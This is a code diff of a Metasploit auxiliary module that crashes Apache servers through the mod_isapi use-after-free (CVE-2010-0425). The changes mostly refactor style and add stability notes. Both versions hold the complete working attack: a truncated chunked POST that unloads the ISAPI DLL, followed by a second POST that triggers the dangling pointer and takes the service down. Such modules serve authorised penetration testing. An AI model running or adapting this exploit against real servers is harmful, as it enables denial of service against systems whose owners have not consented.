@@ -8,38 +8,38 @@ class MetasploitModule < Msf::Auxiliary
88 include Msf ::Auxiliary ::Dos
99
1010 def initialize ( info = { } )
11- super ( update_info ( info ,
12- 'Name' => 'Apache mod_isapi Dangling Pointer' ,
13- 'Description' => %q{
14- This module triggers a use-after-free vulnerability in the Apache
15- Software Foundation mod_isapi extension for versions 2.2.14 and earlier.
16- In order to reach the vulnerable code, the target server must have an
17- ISAPI module installed and configured.
11+ super (
12+ update_info (
13+ info ,
14+ 'Name' => 'Apache mod_isapi Dangling Pointer' ,
15+ 'Description' => %q{
16+ This module triggers a use-after-free vulnerability in the Apache
17+ Software Foundation mod_isapi extension for versions 2.2.14 and earlier.
18+ In order to reach the vulnerable code, the target server must have an
19+ ISAPI module installed and configured.
1820
19- By making a request that terminates abnormally (either an aborted TCP
20- connection or an unsatisfied chunked request), mod_isapi will unload the
21- ISAPI extension. Later, if another request comes for that ISAPI module,
22- previously obtained pointers will be used resulting in an access
23- violation or potentially arbitrary code execution.
21+ By making a request that terminates abnormally (either an aborted TCP
22+ connection or an unsatisfied chunked request), mod_isapi will unload the
23+ ISAPI extension. Later, if another request comes for that ISAPI module,
24+ previously obtained pointers will be used resulting in an access
25+ violation or potentially arbitrary code execution.
2426
25- Although arbitrary code execution is theoretically possible, a
26- real-world method of invoking this consequence has not been proven. In
27- order to do so, one would need to find a situation where a particular
28- ISAPI module loads at an image base address that can be re-allocated by
29- a remote attacker.
27+ Although arbitrary code execution is theoretically possible, a
28+ real-world method of invoking this consequence has not been proven. In
29+ order to do so, one would need to find a situation where a particular
30+ ISAPI module loads at an image base address that can be re-allocated by
31+ a remote attacker.
3032
31- Limited success was encountered using two separate ISAPI modules. In
32- this scenario, a second ISAPI module was loaded into the same memory
33- area as the previously unloaded module.
34- } ,
35- 'Author' =>
36- [
37- 'Brett Gervasoni' , # original discovery
33+ Limited success was encountered using two separate ISAPI modules. In
34+ this scenario, a second ISAPI module was loaded into the same memory
35+ area as the previously unloaded module.
36+ } ,
37+ 'Author' => [
38+ 'Brett Gervasoni' , # original discovery
3839 'jduck'
3940 ] ,
40- 'License' => MSF_LICENSE ,
41- 'References' =>
42- [
41+ 'License' => MSF_LICENSE ,
42+ 'References' => [
4343 [ 'CVE' , '2010-0425' ] ,
4444 [ 'OSVDB' , '62674' ] ,
4545 [ 'BID' , '38494' ] ,
@@ -48,7 +48,14 @@ def initialize(info = {})
4848 [ 'URL' , 'http://www.senseofsecurity.com.au/advisories/SOS-10-002' ] ,
4949 [ 'EDB' , '11650' ]
5050 ] ,
51- 'DisclosureDate' => '2010-03-05' ) )
51+ 'DisclosureDate' => '2010-03-05' ,
52+ 'Notes' => {
53+ 'Stability' => [ CRASH_SERVICE_DOWN ] ,
54+ 'SideEffects' => [ ] ,
55+ 'Reliability' => [ ]
56+ }
57+ )
58+ )
5259
5360 register_options ( [
5461 Opt ::RPORT ( 80 ) ,
@@ -57,37 +64,35 @@ def initialize(info = {})
5764 end
5865
5966 def run
60-
61- serverIP = datastore [ 'RHOST' ]
67+ server_ip = datastore [ 'RHOST' ]
6268 if ( datastore [ 'RPORT' ] . to_i != 80 )
63- serverIP += ":" + datastore [ 'RPORT' ] . to_s
69+ server_ip += ':' + datastore [ 'RPORT' ] . to_s
6470 end
65- isapiURI = datastore [ 'ISAPI' ]
71+ isapi_uri = datastore [ 'ISAPI' ]
6672
6773 # Create a stale pointer using the vulnerability
68- print_status ( " Causing the ISAPI dll to be loaded and unloaded..." )
69- unload_trigger = " POST " + isapiURI + " HTTP/1.0\r \n " +
70- "Pragma: no-cache\r \n " +
71- "Proxy-Connection: Keep-Alive\r \n " +
72- " Host: " + serverIP + "\r \n " +
73- "Transfer-Encoding: chunked\r \n " +
74- "Content-Length: 40334\r \n \r \n " +
75- Rex ::Text . rand_text_alphanumeric ( rand ( 128 ) + 128 )
74+ print_status ( ' Causing the ISAPI dll to be loaded and unloaded...' )
75+ unload_trigger = ' POST ' + isapi_uri + " HTTP/1.0\r \n " \
76+ "Pragma: no-cache\r \n " \
77+ "Proxy-Connection: Keep-Alive\r \n " \
78+ ' Host: ' + server_ip + "\r \n " \
79+ "Transfer-Encoding: chunked\r \n " \
80+ "Content-Length: 40334\r \n \r \n " +
81+ Rex ::Text . rand_text_alphanumeric ( 128 .. 255 )
7682 connect
7783 sock . put ( unload_trigger )
7884 disconnect
7985
8086 # Now make the stale pointer get used...
81- print_status ( " Triggering the crash ..." )
82- data = Rex ::Text . rand_text_alphanumeric ( rand ( 256 ) + 1337 )
83- crash_trigger = " POST " + isapiURI + " HTTP/1.0\r \n " +
84- " Host: " + serverIP + "\r \n " +
85- "Content-Length: #{ data . length } \r \n \r \n " +
86- data
87+ print_status ( ' Triggering the crash ...' )
88+ data = Rex ::Text . rand_text_alphanumeric ( 1337 .. 1592 )
89+ crash_trigger = ' POST ' + isapi_uri + " HTTP/1.0\r \n " \
90+ ' Host: ' + server_ip + "\r \n " \
91+ "Content-Length: #{ data . length } \r \n \r \n " +
92+ data
8793
8894 connect
8995 sock . put ( crash_trigger )
9096 disconnect
91-
9297 end
9398end
0 commit comments